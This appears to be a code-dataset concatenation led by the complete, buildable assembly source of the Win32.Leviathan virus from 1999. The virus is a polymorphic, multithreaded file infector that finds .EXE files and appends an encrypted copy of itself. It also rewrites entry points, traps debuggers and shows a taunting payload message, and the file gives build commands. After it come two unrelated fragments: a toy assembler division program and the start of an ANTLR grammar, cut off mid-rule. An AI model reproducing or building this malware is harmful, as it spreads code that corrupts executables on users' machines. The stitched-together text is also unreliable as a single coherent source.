;limited set of actions and passes control to next thread: one thread checks system conditions
;and enables second thread that searches for files, then third thread checks the file structure,
;then next thread writes the virus code to the file, e.t.c.
;
;To get access to Windows Kernel32 functions the virus scans victim files for GetModuleHandleA
;and GetModuleHandleW imported functions. In case no these exports found, the virus does not
;affect the file. Otherwise is stores functions' addresses and uses them in its installation
;routine.
;
;
;
;Author's notes
;===============
;
;Bah, as u can see, there r two versions of virus. There is also "a second one" (Win32.Levi.3236).
;When I finished this, I sent it to my friends and to every ppl who wanted to see it (binary only
;ofcoz). L8r, when I was on IRC, IntelServ (in that time, I didn't know, whata jerk IntelServ is)
;changed his nick to "Z0MBie" (in that time nick of one 29Aer) and asked me for source. Yeah,
;that time I didn't know that silly "trick", which many lamers used to get sources from someones.
;I gave that to him and that was BIG mystake. Well, some lamer modified source and made new
;variant of virus. U can see, that new version is smaller and displays another message as payload.
;But thing that made me laughin' and cryin' is date of release that variant prints. It prints
;"1998" year. That lamer wanted to show ya, that he was the first one who coded it. Many ppl
;thought I stolen source code from someone and "improved" that, so I had to explain everyone, I
;was the first and that silly version is stolen one. Here u have original source, so I hope u will
;believe me. And last note: None of any normal coderz could do that. Only lamerz, only ppl that
;can't code anything that would be able to run can do this. Let's say hello to them X-D.
;
;
;
;Greetz
;=======
;
; Darkman/29A............ Thanx for all
; Super/29A.............. Hey, thanx for motivation... X-D
; IntelServ.............. U lame!
; Magnic/WildFire/Lamer.. Hahaha, gewd. And can u code anything else?
; and all coderz......... Trust noone!
;
;
;
;Who is this virus dedicated for?
;=================================
;
;For the best French poetist ever, for Jean-Arthur-Nicolas-Rimbaud.
;
;
;
;How to build
;=============
;
; tasm32 -ml -q -m4 levi.asm
; tlink32 -Tpe -c -x -aa -r levi,,, import32
; pewrsec levi.exe
;
;
;
;Who da fuck is that Leviathan ?
;================================
;
;Open (un)holy book, stupid !
;
;
;
;(c) 1999 Benny. Enjoy!
.386p ;386 protected instructions
.model flat ;32bit offset
include win32api.inc ;some includes
include pe.inc
include mz.inc
include useful.inc
REALTIME_PRIORITY_CLASS = 80h ;constant for changin priorities
extrn GetModuleHandleA:PROC ;needed by first generation
extrn GetModuleHandleW:PROC
extrn ExitProcess:PROC
.data
db ? ;for tlink32's pleasure
ends
.code
Start:
pushad ;push all regs
j1: nop ;here starts decryptorn NOPs r filled with junk bytes
call j2 ;get delta
j2: nop
mov ebp, [esp]
j3: nop
sub ebp, offset j2
j4: nop
lea esi, [ebp + encrypted] ;enrypted stuff start
j5: nop
mov ecx, (virus_end - encrypted + 3) / 4 ;count
j6: nop
mov edi, 0 ;enrypt constant
key = dword ptr $ - 4
j7: nop
decrypt:
xor [esi], edi ;decrypt 4 bytes
j8: nop
add esi, 4 ;next 4 bytes
j9: nop
loop decrypt ;do it ECX times
encrypted:
pop ecx ;delta remainder
mov ecx, offset _GetModuleHandleA - 400000h ;first dendrit
MyGMHA = dword ptr $ - 4
mov eax, offset _GetModuleHandleW - 400000h ;second dendrit
MyGMHW = dword ptr $ - 4
call Neuron_GMH ;call first pseudo-neuron
jecxz error ;error, jump to host
mov [ebp + K32Handle], ecx ;store handle
xchg eax, ecx ;first dendrit
lea esi, [ebp + szAPIs] ;second dendrit
lea edi, [ebp + ddAPIs] ;third
call Neuron_GPA ;call pseudo-neuron
jecxz error ;error ?
call [ebp + ddGetCurrentProcess] ;get pseudo-handle of cur. process
mov esi, eax
push esi
call [ebp + ddGetPriorityClass] ;get current process priority
mov edi, eax
push REALTIME_PRIORITY_CLASS
push esi
call [ebp + ddSetPriorityClass] ;set new one
xchg eax, ecx
jecxz error ;error ?
call Neuron_Init ;Init neurons by pseudo-neuron
jecxz error
n_loop: cmp byte ptr [ebp + JumpToHost], 0 ;can i jump to host ?
je n_loop ;neurons r runnin', wait
push edi
push esi
call [ebp + ddSetPriorityClass] ;set back priority
xor eax, eax ;check for payload
mov al, 29
cmp [ebp + NumOfExecs], eax ;executed for 30x ?
jb error
cmp [ebp + GenerationCount], eax ;30th generation ?
jb error
in al, 40h
and al, 10 ;check tix
cmp al, 2
jne error
call Neuron_PayLoad ;call pseudo-neuron -> payload
error: mov [esp.Pushad_eax], ebp
popad ;recover stack and registers
mov eax, [eax + EntryPoint]
add eax, 400000h
jmp eax ;jump to host
;----------------------------------------------------------------------------------
Neuron_PayLoad Proc
call payload
db 'USER32', 0 ;push this name
payload:
call [ebp + ddLoadLibraryA] ;load USER32.DLL
test eax, eax
je end_payload
mov ebx, eax
lea esi, [ebp + szMessageBoxA]
call GetProcAddress ;find API
xchg eax, ecx
jecxz end_payload ;not found, no payload :-(
push 1000h
lea edx, [ebp + szMsgTitle]
push edx
lea edx, [ebp + szMsgText]
push edx
push 0
call ecx ;display message box
push ebx
call [ebp + ddFreeLibrary]
end_payload:
ret
Neuron_PayLoad EndP
;----------------------------------------------------------------------------------
Neuron_Init Proc
n1: xor eax, eax ;suspend neurons
mov [ebp + nDebugger_run], al
mov [ebp + nFind_run], al
mov [ebp + nCheck_run], al
mov [ebp + nInfect_run], al
mov [ebp + nOpenFile_run], al
mov [ebp + nCloseFile_run], al
mov [ebp + nVersion_run], 1 ;resume first neuron
lea ebx, [ebp + ddThreadID] ;create all threads/neurons
lea esi, [ebp + StartOfNeurons]
lea edi, [ebp + NHandles]
mov ecx, num_of_neurons
InitNeurons:
push ecx
n2: xor eax, eax
push ebx
push eax
push ebp
mov edx, [esi]
add edx, ebp
push edx
push eax
push eax
call [ebp + ddCreateThread] ;create thread
pop ecx
t1: test eax, eax
je init_er
stosd
add esi, 4
loop InitNeurons ;ECX times
init_er:
xchg eax, ecx
ret
Neuron_Init EndP
;----------------------------------------------------------------------------------
Neuron_GMH Proc ;dendrits: EAX - address of GMHW
; ECX - address of GMHA
;axon : ECX - module handle
mov edx, 400000h ;add Image Base
jecxz try_gmhW
add ecx, edx
call szk32a
K32 db 'KERNEL32', 0
szk32a: call [ecx] ;GetModuleHandleA API call
xchg eax, ecx
ret
try_gmhW:
add eax, edx
xchg eax, ecx
jecxz gmh_er
call szk32w
K32W dw 'K','E','R','N','E','L','3','2', 0
szk32w: call [ecx] ;GetModuleHandleW API call
xchg eax, ecx
ret
gmh_er: xor ecx, ecx
ret
Neuron_GMH EndP
;----------------------------------------------------------------------------------
Neuron_GPA Proc ;dendrits: EAX - module handle
; ESI - address of API strings
; EDI - address of API addresses
;axon : ECX = 0, if error
mov ebx, eax
n_gpa: call GetProcAddress ;get API address
t2: test eax, eax
je gpa_er
stosd ;store address
@endsz ;end string
mov eax, ebx
cmp byte ptr [esi], 0ffh ;end of APIs ?
jne n_gpa
ret
gpa_er: xor ecx, ecx ;error, ECX=0
ret
GetProcAddress:
pushad
@SEH_SetupFrame <jmp Proc_Address_not_found>
mov ebx, eax
add eax, [ebx.MZ_lfanew]
mov ecx, [eax.NT_OptionalHeader.OH_DirectoryEntries.DE_Export.DD_Size]
jecxz Proc_Address_not_found
mov ebp, ebx
add ebp, [eax.NT_OptionalHeader.OH_DirectoryEntries.DE_Export.DD_VirtualAddress]
push ecx
mov edx, ebx
add edx, [ebp.ED_AddressOfNames]
mov ecx, [ebp.ED_NumberOfNames]
n3: xor eax, eax
Search_for_API_name:
mov edi, [esp + 16]
mov esi, ebx
add esi, [edx + eax * 4]
Next_Char_in_API_name:
cmpsb
jz Matched_char_in_API_name
inc eax
loop Search_for_API_name
pop eax
Proc_Address_not_found:
n4: xor eax, eax
jmp End_MyGetProcAddress
Matched_char_in_API_name:
cmp byte ptr [esi-1], 0
jne Next_Char_in_API_name
pop ecx
mov edx, ebx
add edx, [ebp.ED_AddressOfOrdinals]
movzx eax, word ptr [edx + eax * 2]
Check_Index:
cmp eax, [ebp.ED_NumberOfFunctions]
jae Proc_Address_not_found
mov edx, ebx
add edx, [ebp.ED_AddressOfFunctions]
add ebx, [edx + eax * 4]
mov eax, ebx
sub ebx, ebp
cmp ebx, ecx
jb Proc_Address_not_found
End_MyGetProcAddress:
@SEH_RemoveFrame
mov [esp.Pushad_eax], eax
popad
ret
Neuron_GPA EndP
;----------------------------------------------------------------------------------
GetProcAddressIT proc ;dendrits: EAX - API name
; ECX - lptr to PE header
; EDX - module name
;axon: EAX - RVA pointer to IAT, 0 if error
pushad
n5: xor eax, eax
push ebp
mov esi, [ecx.MZ_lfanew]
add esi, ecx
mov eax, [esi.NT_OptionalHeader.OH_DirectoryEntries.DE_Import.DD_VirtualAddress]
mov ebp, ecx
push ecx
movzx ecx, word ptr [esi.NT_FileHeader.FH_NumberOfSections]
movzx ebx, word ptr [esi.NT_FileHeader.FH_SizeOfOptionalHeader]
lea ebx, [esi.NT_OptionalHeader + ebx]
scan_sections:
mov edx, [ebx.SH_VirtualAddress]
cmp edx, eax
je section_found
sub ebx, -IMAGE_SIZEOF_SECTION_HEADER
loop scan_sections
pop ecx
pop eax
jmp End_GetProcAddressIT2
section_found:
mov ebx, [ebx + 20]
add ebx, ebp
pop ecx
pop eax
test ebx, ebx
je End_GetProcAddressIT2
xor esi, esi
xor ebp, ebp
push esi
dec ebp
Get_DLL_Name:
pop esi
inc ebp
mov edi, [esp + 20]
mov ecx, [ebx.esi.ID_Name]
test ecx, ecx
je End_GetProcAddressIT2
sub ecx, edx
sub esi, -IMAGE_SIZEOF_IMPORT_DESCRIPTOR
push esi
lea esi, [ebx + ecx]
Next_Char_from_DLL:
lodsb
add al, -'.'
jz IT_nup
sub al, -'.' + 'a'
cmp al, 'z' - 'a' + 1
jae no_up
add al, -20h
no_up: sub al, -'a'
IT_nup: scasb
jne Get_DLL_Name
cmp byte ptr [edi-1], 0
jne Next_Char_from_DLL
Found_DLL_Name:
pop esi
imul eax, ebp, IMAGE_SIZEOF_IMPORT_DESCRIPTOR
mov ecx, [ebx + eax.ID_OriginalFirstThunk]
jecxz End_GetProcAddressIT2
sub ecx, edx
add ecx, ebx
xor esi, esi
Next_Imported_Name:
push esi
mov edi, [esp + 32]
mov esi, [ecx + esi]
test esi, esi
je End_GetProcAddressIT3
sub esi, edx
add esi, ebx
lodsw
next_char:
cmpsb
jne next_step
cmp byte ptr [esi-1], 0
je got_it
jmp next_char
next_step:
pop esi
sub esi, -4
jmp Next_Imported_Name
got_it: pop esi
imul ebp, IMAGE_SIZEOF_IMPORT_DESCRIPTOR
add ebx, ebp
mov eax, [ebx.ID_FirstThunk]
add eax, esi
mov [esp + 28], eax
jmp End_GetProcAddressIT
End_GetProcAddressIT3:
pop eax
End_GetProcAddressIT2:
n6: xor eax, eax
mov [esp.Pushad_eax], eax
End_GetProcAddressIT:
popad
ret
GetProcAddressIT EndP
;----------------------------------------------------------------------------------
Neuron_GetVersion Proc PASCAL uses ebx edi esi, delta_param:DWORD
n_getver:
mov ebx, delta_param ;delta offset as dendrit
n7: xor eax, eax
nVersion_susp:
cmp al, 123 ;synchronize
nVersion_run = byte ptr $ - 1
je nVersion_susp
call [ebx + ddGetVersion] ;get version of windoze
xor ecx, ecx
cmp eax, 80000000h
jb WinNT ;WinNT present
cmp ax, 0a04h
jb Win95 ;Win95 present
inc ecx ;probably Win98
Win95: jmp n_gv
WinNT: inc ecx
inc ecx
n_gv: inc dword ptr [ebx + NumOfExecs] ;increment variable
mov [ebx + ndeb_param], cl
mov byte ptr [ebx + nDebugger_run], 1 ;resume thread (synapse)
call ExitThread
Neuron_GetVersion EndP
;----------------------------------------------------------------------------------
ExitThread: ;current thread will be canceled
push 0
call [ebx + ddExitThread]
;----------------------------------------------------------------------------------
Neuron_Debugger Proc PASCAL uses ebx edi esi, delta_param:DWORD
n_debugger:
mov ebx, delta_param ;delta as dendrit1
n8: xor eax, eax
nDebugger_susp:
cmp al, 123 ;synchronize
nDebugger_run = byte ptr $ - 1
je nDebugger_susp
mov cl, 123 ;version of Windoze as dendrit2
ndeb_param = byte ptr $ - 1
cmp cl, 0
je end_debugger
pushad
@SEH_SetupFrame <jmp seh_fn>
push edx
pop dword ptr [edx] ;SEH trap
jmp Win98_trap
seh_rs: mov eax, [ebx + K32Handle]
lea esi, [ebx + szIsDebuggerPresent]
call GetProcAddress ;get API address
xchg eax, ecx
jecxz end_debugger
call ecx ;is debugger present ?
xchg eax, ecx
jecxz end_debugger
cmp bl, 2
je WinNT_trap
Win98_trap:
push 19cdh xor 666
xor word ptr [esp], 666
pop dword ptr [ebx + WinNT_trap] ;int 19h
WinNT_trap:
n9: xor eax, eax ;GP fault
push eax
pop esp
jmp $ - 1
seh_fn: @SEH_RemoveFrame
popad
jmp seh_rs
end_debugger:
mov [ebx + nFind_run], 1 ;resume thread (synapse)
jmp ExitThread
Neuron_Debugger EndP
;----------------------------------------------------------------------------------
Neuron_Find Proc PASCAL uses ebx edi esi, delta_param:DWORD
n_find: mov ebx, delta_param
n10: xor eax, eax
find_susp:
cmp al, 123
nFind_run = byte ptr $ - 1
je find_susp
lea edx, [ebx + WFD]
push edx
lea edx, [ebx + szExt]
push edx
call [ebx + ddFindFirstFileA] ;find first file
xchg eax, ecx
jecxz end_Find
mov [ebx + SearchHandle], ecx ;save handle
check&infect:
lea edx, [ebx + nCheck_run] ;resume check_file neuron
mov al, 1
mov [edx], al
nFind1_wait:
cmp [edx], al
je nFind1_wait
inc eax
cmp [edx], al
je try_next_file
lea edx, [ebx + nInfect_run] ;resume infect_file neuron
mov al, 1
mov [edx], al
nFind2_wait:
cmp [edx], al
je nFind2_wait
try_next_file:
lea edx, [ebx + WFD]
push edx
push [ebx + SearchHandle]
call [ebx + ddFindNextFileA] ;find next file
t3: test eax, eax
jne check&infect
end_Find:
mov al, 11h ;quit-signal to all neurons
mov [ebx + nCheck_run], al
mov [ebx + nInfect_run], al
mov [ebx + nOpenFile_run], al
mov [ebx + nCloseFile_run], al
mov byte ptr [ebx + JumpToHost], al
jmp ExitThread ;quit
Neuron_Find EndP
;----------------------------------------------------------------------------------
Neuron_CheckFile Proc PASCAL uses ebx edi esi, delta_param:DWORD
n_checkfile:
mov ebx, delta_param
n11: xor eax, eax
check_susp:
cmp al, 123
nCheck_run = byte ptr $ - 1
je check_susp
cmp [ebx + nCheck_run], 11h ;quit ?
je ExitThread
xor esi, esi ;discard directories
test byte ptr [ebx + WFD.WFD_dwFileAttributes], FILE_ATTRIBUTE_DIRECTORY
jne end_chkfile
xor ecx, ecx
cmp [ebx + WFD.WFD_nFileSizeHigh], ecx ;discard huge files
jne end_chkfile
mov eax, [ebx + WFD.WFD_nFileSizeLow]
cmp eax, 1000h ;discard file < 4096
jb end_chkfile
n12: xor eax, eax ;open file
inc eax
mov [ebx + nopen_param2], eax
lea eax, [ebx + WFD.WFD_szFileName]
mov [ebx + nopen_param1], eax
lea edx, [ebx + nOpenFile_run] ;synchronizin threads
mov al, 1
mov [edx], al
nCheck1_wait:
cmp [edx], al
je nCheck1_wait
inc eax
cmp [edx], al
je end_closefile
mov edx, [ebx + lpFile]
cmp word ptr [edx], IMAGE_DOS_SIGNATURE ;must be MZ
jne end_closefile
cmp byte ptr [edx.MZ_res2], 0
jne end_closefile
mov ecx, [edx.MZ_lfanew]
jecxz end_closefile
mov eax, [ebx + WFD.WFD_nFileSizeLow] ;valid MZ_lfanew ?
cmp eax, ecx
jb end_closefile
add ecx, edx
cmp dword ptr [ecx], IMAGE_NT_SIGNATURE ;must be PE\0\0
jne end_closefile
cmp word ptr [ecx.NT_FileHeader.FH_Machine], IMAGE_FILE_MACHINE_I386
jne end_closefile ;must be 386+
mov eax, dword ptr [ecx.NT_FileHeader.FH_Characteristics]
not al
test ax, IMAGE_FILE_EXECUTABLE_IMAGE or IMAGE_FILE_DLL
jne end_closefile ;must be executable, mustnt be DLL
cmp [ecx.NT_OptionalHeader.OH_ImageBase], 400000h ;image base
jne end_closefile
mov esi, 'Levi' ;toggle flag
end_closefile:
n13: xor eax, eax ;close file
mov [ebx + nclose_param2], eax
inc eax
inc eax
mov [ebx + nclose_param1], eax
lea edx, [ebx + nCloseFile_run] ;synchronize threads
mov al, 1
mov [edx], al
nCheck2_wait:
cmp [edx], al
je nCheck2_wait
end_chkfile:
n14: xor eax, eax
cmp esi, 'Levi' ;check flag
je @20
inc eax
inc eax
@20: mov [ebx + nCheck_run], al
jmp check_susp
Neuron_CheckFile EndP
;----------------------------------------------------------------------------------
Neuron_OpenFile Proc PASCAL uses ebx edi esi, delta_param:DWORD
n_openfile:
mov ebx, delta_param
n15: xor eax, eax
open_susp:
cmp al, 123
nOpenFile_run = byte ptr $ - 1
je open_susp
cmp [ebx + nOpenFile_run], 11h ;quit ?
je ExitThread
mov esi, 12345678h
nopen_param1 = dword ptr $ - 4 ;name
mov ecx, 12345678h
nopen_param2 = dword ptr $ - 4
jecxz open_write ;open write mode
xor edi, edi
jmp next_open
open_write:
mov edi, 12345678h ;size
nopen_param3 = dword ptr $ - 4
next_open:
n16: xor eax, eax
dec eax
mov [ebx + lpFile], eax
inc eax
push eax
push eax
push OPEN_EXISTING
push eax
mov al, 1
push eax
ror eax, 1
mov ecx, edi
jecxz $ + 4
rcr eax, 1
push eax
push esi
call [ebx + ddCreateFileA] ;open file
cdq
xor esi, esi
mov [ebx + hFile], eax
inc eax
je end_OpenFile
dec eax
push edx
push edi
push edx
mov dl, PAGE_READONLY
mov ecx, edi
jecxz $ + 4
shl dl, 1
push edx
push esi
push eax
call [ebx + ddCreateFileMappingA] ;create mapping of file
cdq
xchg eax, ecx
mov [ebx + hMapFile], ecx
jecxz end_OpenFile2
push edi
push edx
push edx
mov dl, FILE_MAP_READ
test edi, edi
je $ + 4
shr dl, 1
push edx
push ecx
call [ebx + ddMapViewOfFile] ;map file to address space
xchg eax, ecx
mov [ebx + lpFile], ecx
jecxz end_OpenFile3
xor eax, eax
jmp @e
end_OpenFile:
mov al, 2
@e: mov [ebx + nOpenFile_run], al
jmp open_susp
end_OpenFile2:
mov [ebx + nclose_param1], ecx
mov al, 1
lea edx, [ebx + nCloseFile_run]
mov [edx], al
nOpen_wait:
cmp [edx], al
je nOpen_wait
n17: xor eax, eax
inc eax
inc eax
mov [ebx + nOpenFile_run], al
jmp open_susp
end_OpenFile3:
inc ecx
jmp end_OpenFile2
Neuron_OpenFile EndP
;----------------------------------------------------------------------------------
Neuron_CloseFile Proc PASCAL uses ebx edi esi, delta_param:DWORD
n_closefile:
mov ebx, delta_param
n18: xor eax, eax
close_susp:
cmp al, 123
nCloseFile_run = byte ptr $ - 1
je close_susp
cmp [ebx + nCloseFile_run], 11h ;quit ?
je ExitThread
mov ecx, 12345678h ;mode
nclose_param1 = dword ptr $ - 4
jecxz @10
cmp cl, 1
je @11
mov edi, 12345678h
nclose_param2 = dword ptr $ - 4
push [ebx + lpFile]
call [ebx + ddUnmapViewOfFile] ;unmap view of file
@11: push [ebx + hMapFile]
call [ebx + ddCloseHandle] ;close mapping object
test edi, edi
je @10
mov esi, [ebx + hFile]
n19: xor eax, eax
push eax
push eax
push edi
push esi
call [ebx + ddSetFilePointer] ;set file pointer to EOF
push esi
call [ebx + ddSetEndOfFile] ;trucate file
@10: lea eax, [ebx + WFD.WFD_ftLastWriteTime]
push eax
lea eax, [ebx + WFD.WFD_ftLastAccessTime]
push eax
lea eax, [ebx + WFD.WFD_ftCreationTime]
push eax
push esi
call [ebx + ddSetFileTime] ;set back file time
push [ebx + hFile]
call [ebx + ddCloseHandle] ;close time
mov byte ptr [ebx + nCloseFile_run], 0
jmp n_closefile
Neuron_CloseFile EndP
;----------------------------------------------------------------------------------
Neuron_InfectFile Proc PASCAL uses ebx edi esi, delta_param:DWORD
n_infectfile:
mov ebx, delta_param
n20: xor eax, eax
inf_susp:
cmp al, 123
nInfect_run = byte ptr $ - 1
je inf_susp
cmp [ebx + nInfect_run], 11h ;quit ?
je ExitThread
xor esi, esi
push esi
lea edi, [ebx + WFD.WFD_szFileName]
push edi
call [ebx + ddSetFileAttributesA] ;blank file attributes
t4: test eax, eax
je end_InfectFile
mov [ebx + nopen_param1], edi
mov [ebx + nopen_param2], esi
mov eax, [ebx + WFD.WFD_nFileSizeLow]
add eax, virus_end - Start + 5000
mov [ebx + nopen_param3], eax
lea edx, [ebx + nOpenFile_run] ;open file
n21: xor eax, eax
inc eax
mov [edx], al
inf_wait:
cmp [edx], al
je inf_wait
dec eax
dec eax
mov ecx, [ebx + lpFile]
cmp ecx, eax
je end_InfectFile
lea eax, [ebx + szGetModuleHandleA]
lea edx, [ebx + K32]
call GetProcAddressIT ;search for GMHA in IT
t5: test eax, eax
jne stoK32
lea eax, [ebx + szGetModuleHandleW]
call GetProcAddressIT ;search for GMHW in IT
t6: test eax, eax
je end_InfectClose
mov [ebx + MyGMHW], eax
n22: xor eax, eax
stoK32: mov [ebx + MyGMHA], eax
mov edx, [ebx + lpFile]
push edx
push edx
add edx, [edx.MZ_lfanew]
push ebp
movzx esi, word ptr [edx.NT_FileHeader.FH_SizeOfOptionalHeader]
lea esi, [edx.NT_OptionalHeader + esi] ;locate first section
movzx ecx, word ptr [edx.NT_FileHeader.FH_NumberOfSections] ;get number of sctnz
mov edi, esi ;get LAST section
n23: xor eax, eax
push ecx
BSection:
cmp [edi.SH_PointerToRawData], eax
je NBiggest
mov ebp, ecx
mov eax, [edi.SH_PointerToRawData]
NBiggest:
sub edi, -IMAGE_SIZEOF_SECTION_HEADER
loop BSection
pop ecx
sub ecx, ebp
imul eax, ecx, IMAGE_SIZEOF_SECTION_HEADER
add esi, eax
mov edi, dword ptr [esi.SH_SizeOfRawData]
mov eax, virtual_end - Start
push edi
lea edi, [esi.SH_VirtualSize] ;new virtual size of section
push dword ptr [edi]
add [edi], eax
mov eax, [edi]
push edx
mov ecx, [edx.NT_OptionalHeader.OH_FileAlignment]
xor edx, edx
div ecx
xor edx, edx
inc eax
mul ecx
mov [esi.SH_SizeOfRawData], eax ;new SizeOfRawData (aligned virtual size)
mov ecx, eax
pop edx
pop ebp
add ebp, [esi.SH_VirtualAddress]
mov eax, [edx.NT_OptionalHeader.OH_AddressOfEntryPoint]
pop edi
push eax
mov eax, [ebx + EntryPoint]
pop [ebx + EntryPoint]
mov [edx.NT_OptionalHeader.OH_AddressOfEntryPoint], ebp
sub ecx, edi
add [edx.NT_OptionalHeader.OH_SizeOfImage], ecx ;new SizeOfImage
or byte ptr [esi.SH_Characteristics.hiw.hib], 0e0h ;change flags
pop ebp
pop edi
mov byte ptr [edi.MZ_res2], 1
add edi, [esi.SH_PointerToRawData]
add edi, [esi.SH_VirtualSize]
add edi, Start - virtual_end
lea esi, [ebx + buffer]
mov ecx, (virus_end - Start + 3) / 4
inc dword ptr [ebx + GenerationCount]
call Mutate
rep movsd ;copy virus
mov [ebx + EntryPoint], eax ;restore variable after copy stage
pop edx ;get start of MM-file
sub edi, edx ;calculate new size
jmp @30
end_InfectClose:
mov edi, [ebx + WFD.WFD_nFileSizeLow]
@30: mov byte ptr [ebx + nclose_param1], 2
mov [ebx + nclose_param2], edi ;close file
n24: xor eax, eax
inc eax
lea edx, [ebx + nCloseFile_run]
mov [edx], al
@40: cmp [edx], al
je @40
end_InfectFile:
push [ebx + WFD.WFD_dwFileAttributes]
lea edi, [ebx + WFD.WFD_szFileName]
push edi
call [ebx + ddSetFileAttributesA] ;set back file attributes
mov [ebx + nInfect_run], 0
jmp n_infectfile
Neuron_InfectFile EndP
;----------------------------------------------------------------------------------
Mutate Proc
pushad ;store all regs
;first stage will rebuild some instructions with others, that does same thing
; - this is part of polymorphism
;1) nulify eax register
_mut_: lea esi, [ebx + nPoints] ;start of address table
mutate: lodsd ;load first address
t7: test eax, eax
je next_mutate ;end ?
mut_jmp = dword ptr $ - 2
je end_mutate
mov edi, eax
add edi, ebx ;correct by delta offset
in al, 40h ;get pseudo-random number
and al, 2 ;truncate
je mut1
cmp al, 1
je mutate
mov ax, 0
org $ - 2
c1: xor eax, eax
jmp op_st1 ;rewrite with xor eax, eax opcode
mut1: mov ax, 0
org $ - 2
c2: sub eax, eax
op_st1: stosw
jmp mutate
next_mutate:
;2) test for eax
mov dword ptr [ebx + mutate - 4], offset tPoints
mov word ptr [ebx + mut_jmp], 9090h
mov word ptr [ebx + c1], 0
org $ - 2
test eax, eax
mov word ptr [ebx + c2], 0
org $ - 2
or eax, eax
jmp mutate
;this will crypt our body and insert some junk instructions randomly
end_mutate:
lodsd
test eax, eax
je _crypt_
xchg eax, edi
add edi, ebx
xor eax, eax
push esi
lea esi, [ebx + junx]
in al, 40h
and al, num_of_junx
add esi, eax
lodsb
pop esi
stosb
jmp end_mutate
_crypt_:
;generate pseudo-random key
in ax, 40h
shl eax, 16
in ax, 40h
xchg eax, edx
mov [ebx + key], edx
;copy decryptor
lea esi, [ebx + Start]
lea edi, [ebx + buffer]
mov ecx, encrypted - Start
rep movsb
;crypt body
mov ecx, (virus_end - encrypted + 3) / 4
crypt: lodsd
xor eax, edx
stosd
loop crypt
popad
ret
Mutate EndP
;----------------------------------------------------------------------------------
EntryPoint dd offset ExitProcess - 400000h
;xor eax, eax
nPoints: irp Num, <1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24>
dd offset n&Num
endm
nCount = ($ - nPoints)/4
dd 0
;test eax, eax
tPoints: irp Num, <1,2,3,4,5,6,7>
dd offset t&Num
endm
tCount = ($ - tPoints)/4
dd 0
;junk address table
jPoints: irp Num, <1,2,3,4,5,6,7,8,9>
dd offset j&Num
endm
dd 0
junx: clc ;junk instructions
cmc
stc
nop
cld
std
lahf
cwde
cdq
inc eax
dec eax
inc edx
dec edx
num_of_junx = dword ptr $ - offset junx - 1
NumOfExecs dd ?
GenerationCount dd ?
StartOfNeurons:
dd offset Neuron_Debugger
dd offset Neuron_Find
dd offset Neuron_CheckFile
dd offset Neuron_OpenFile
dd offset Neuron_CloseFile
dd offset Neuron_InfectFile
dd offset Neuron_GetVersion
num_of_neurons = 7
szGetModuleHandleA db 'GetModuleHandleA', 0
szGetModuleHandleW db 'GetModuleHandleW', 0
szAPIs:
szCreateThread db 'CreateThread', 0
szExitThread db 'ExitThread', 0
szGetVersion db 'GetVersion', 0
szFindFirstFileA db 'FindFirstFileA', 0
szFindNextFileA db 'FindNextFileA', 0
szFindClose db 'FindClose', 0
szCreateFileA db 'CreateFileA', 0
szCreateFileMappingA db 'CreateFileMappingA', 0
szMapViewOfFile db 'MapViewOfFile', 0
szUnmapViewOfFile db 'UnmapViewOfFile', 0
szCloseHandle db 'CloseHandle', 0
szSetFilePointer db 'SetFilePointer', 0
szSetEndOfFile db 'SetEndOfFile', 0
szSetFileTime db 'SetFileTime', 0
szSetFileAttributesA db 'SetFileAttributesA', 0
szGetCurrentProcess db 'GetCurrentProcess', 0
szGetPriorityClass db 'GetPriorityClass', 0
szSetPriorityClass db 'SetPriorityClass', 0
szLoadLibraryA db 'LoadLibraryA', 0
szFreeLibrary db 'FreeLibrary', 0
db 0ffh
szIsDebuggerPresent db 'IsDebuggerPresent', 0
szMessageBoxA db 'MessageBoxA', 0
szExt db '*.EXE', 0
org $ - 1
JumpToHost db ?
szMsgTitle db 'Win32.Leviathan (c) 1999 by Benny', 0
szMsgText db 'Hey stupid !', 0dh, 0dh
db 'This is gonna be your nightmare...', 0dh
db '30th generation of Leviathan is here... beware of me !', 0dh
db 'Threads are stripped, ship is sinkin''...', 0dh, 0dh
db 'Greetz:'
db 09, 'Darkman/29A', 0dh
db 09, 'Super/29A', 0dh
db 09, '<NAME>/DDT', 0dh
db 09, 'and all other 29Aers...', 0dh, 0dh
db 'Special greet:', 0dh
db 09, '<NAME>', 0dh, 0dh
db 'New milenium is knockin on the door... ', 0dh
db 'New generation of viruses is here, nothing promised, no regret.', 0
virus_end:
_GetModuleHandleA dd offset GetModuleHandleA
_GetModuleHandleW dd offset GetModuleHandleW
ddAPIs:
ddCreateThread dd ?
ddExitThread dd ?
ddGetVersion dd ?
ddFindFirstFileA dd ?
ddFindNextFileA dd ?
ddFindClose dd ?
ddCreateFileA dd ?
ddCreateFileMappingA dd ?
ddMapViewOfFile dd ?
ddUnmapViewOfFile dd ?
ddCloseHandle dd ?
ddSetFilePointer dd ?
ddSetEndOfFile dd ?
ddSetFileTime dd ?
ddSetFileAttributesA dd ?
ddGetCurrentProcess dd ?
ddGetPriorityClass dd ?
ddSetPriorityClass dd ?
ddLoadLibraryA dd ?
ddFreeLibrary dd ?
ddThreadID dd ?
NHandles:
hNeuron_Debugger dd ?
hNeuron_Find dd ?
hNeuron_CheckFile dd ?
hNeuron_OpenFile dd ?
hNeuron_CloseFile dd ?
hNeuron_InfectFile dd ?
hNeuron_GetVersion dd ?
hFile dd ?
hMapFile dd ?
lpFile dd ?
K32Handle dd ?
SearchHandle dd ?
WFD WIN32_FIND_DATA ?
buffer db virus_end - Start dup (?)
virtual_end:
ends
End Start
|
assembler/test/divider.asm | dbajgoric/ARSC | 3 | 18001 | LDA DIVIDEND
STA A
BIP NEXT
BRU OUT
NEXT:
LDA DIVISOR
STA B
BIP INIT
BRU OUT
INIT:
LDA ZERO
STA QUOTIENT
LDA B
TCA
STA B
LOOP:
LDA B
ADD A
STA A
BIN FINISH
BIP OTHER
LDA QUOTIENT
ADD ONE
BRU OUT1
FINISH:
ADD DIVISOR
STA REMAINDER
BRU OUT1
OTHER:
LDA QUOTIENT
ADD ONE
STA QUOTIENT
BRU LOOP
OUT:
LDA ZERO
OUT1:
HLT
A BSS 1
B BSS 1
QUOTIENT BSS 1
REMAINDER BSS 1
DIVIDEND BSC 7569
DIVISOR BSC 67
ZERO BSC 0
ONE BSC 1
END |
fieldmask-core/src/main/antlr/FieldsGrammar.g4 | stevejuma/fieldmask | 0 | 5533 | grammar FieldsGrammar;
// Parses grammar such as person/name(age)
options {
language = Java;
}
mainQ
: sep? RSTART? clauseGroup EOF
;
clause
: variableDeclarator
| expr (COMMA clause)*
;
clauseGroup
